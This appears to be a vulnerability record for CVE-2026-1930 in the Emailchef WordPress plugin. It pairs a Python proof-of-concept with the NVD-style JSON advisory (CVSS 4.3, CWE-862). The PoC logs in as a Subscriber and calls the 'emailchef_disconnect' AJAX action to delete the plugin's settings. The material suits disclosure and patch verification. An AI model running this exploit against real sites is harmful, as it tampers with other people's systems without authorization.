CVE-2026-1930

#!/usr/bin/env python3 # PoC for CVE-2026-1930: WordPress Emailchef Plugin Missing Authorization import requests target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" # 1. Login to get cookies and nonce login_url = "http://example.com/wp-login.php" session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "http://example.com/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # 2. Exploit the vulnerability via AJAX action # The vulnerability lies in the 'emailchef_disconnect' action # which lacks a capability check. payload_data = { "action": "emailchef_disconnect" } response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Request sent successfully. Check if settings were deleted.") print("[+] Response:", response.text) else: print("[-] Failed to send request.")

{"cve": {"id": "CVE-2026-1930", "sourceIdentifier": "[email protected]", "published": "2026-04-22T10:16:51.000", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Emailchef plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the page_options_ajax_disconnect() function in all versions up to, and including, 3.5.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete the plugin's settings via the 'emailchef_disconnect' AJAX action."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/emailchef/tags/3.5.1/admin/class-emailchef-admin.php#L121", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/emailchef/tags/3.5.1/admin/class-emailchef-admin.php#L200", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/emailchef/trunk/admin/class-emailchef-admin.php#L121", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/emailchef/trunk/admin/class-emailchef-admin.php#L200", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3474353%40emailchef&new=3474353%40emailchef&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3ae02595-17f0-472d-bc4f-6169cce7a583?source=cve", "source": "[email protected]"}]}}